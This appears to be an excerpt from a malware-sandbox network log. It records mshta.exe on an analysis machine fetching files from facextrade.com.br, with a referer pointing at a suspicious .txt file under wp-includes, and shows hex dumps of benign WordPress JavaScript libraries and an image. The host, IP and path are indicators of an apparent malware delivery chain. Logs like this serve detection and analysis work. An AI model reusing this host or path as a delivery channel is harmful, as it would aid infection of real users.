3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72 Data Ascii: /! Magnific Popup - v0.9.3 - 2013-07-16 http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.curr
Aug 16, 2022 11:50:13.260782003 CEST	2490	OUT	GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.474440098 CEST	2501	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:39 GMT Server: Apache ETag: "a53516-d453-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 54355 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664937 15075336 Age: 214 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74 Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a\|\|{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opt
Aug 16, 2022 11:50:13.849490881 CEST	2562	OUT	GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:14.063281059 CEST	2567	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:13 GMT Server: Apache ETag: "a53555-2a0a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 10762 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664939 22077136 Age: 240 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72 Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{retur
Aug 16, 2022 11:50:14.078119040 CEST	2578	OUT	GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:14.290929079 CEST	2622	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:25 GMT Server: Apache ETag: "a55f36-56f-5c001a3bfb868" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 1391 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15664941 23796778 Age: 229 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.22	49203	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:50:10.197809935 CEST	1421	OUT	GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:10.426314116 CEST	1424	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:07 GMT Server: Apache ETag: "a53864-d9abf-58592d61568c0" Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT Content-Length: 891583 Content-Type: image/jpeg Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075464 21588066 Age: 302 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA w8v-cC@ua_0wOg1H$
Aug 16, 2022 11:50:10.426340103 CEST	1425	IN	Data Raw: 3e 83 6e 57 d5 be b5 53 68 bc 34 ef 90 d9 d1 cd 33 fe 0d ff 00 49 9f f5 0b 94 eb ff 00 55 32 3a 60 39 38 e4 e5 60 ce b6 01 ee 64 fe 6d d1 ff 00 56 b3 71 b2 cd 4f 6b e3 70 04 12 c3 20 18 fe af bb fc d5 da 74 5e bf d3 c1 8a ed b2 82 41 9a af db 6b Data Ascii: >nWSh43IU2:`98`dmVqOkp t^Ak\?)S,fPou]/8TzDd1&{k-PO3(X@N}RV0uR4GdiSmW=G*[T@Fs<P9<+KxKiFlRN44N
Aug 16, 2022 11:50:10.426377058 CEST	1427	IN	Data Raw: 89 73 58 d6 19 d0 b2 40 92 67 45 27 fa 5e 91 b1 b6 4b b4 68 0e 00 18 db 27 d8 dd ff 00 45 de c6 59 b9 09 95 ba c2 43 01 3b 41 73 88 13 0d 1f 49 ee 85 07 19 3f 0d 02 04 f6 4a a4 94 a5 34 a4 95 95 32 07 9f c5 22 64 cf 1a f6 51 52 de 36 86 c0 e6 77 Data Ascii: sX@gE'^Kh'EYC;AsI?J42"dQR6ww'L0u#nuD;i-nUNi`32\7vcavtl+K}i7PP}Qs7=%~eTfUt#cAok~df;3Y{kT
Aug 16, 2022 11:50:10.426470995 CEST	1428	IN	Data Raw: 54 00 00 00 01 00 00 00 38 42 49 4d 04 3b 00 00 00 00 01 b2 00 00 00 10 00 00 00 01 00 00 00 00 00 12 70 72 69 6e 74 4f 75 74 70 75 74 4f 70 74 69 6f 6e 73 00 00 00 12 00 00 00 00 43 70 74 6e 62 6f 6f 6c 00 00 00 00 00 43 6c 62 72 62 6f 6f 6c 00 Data Ascii: T8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@o
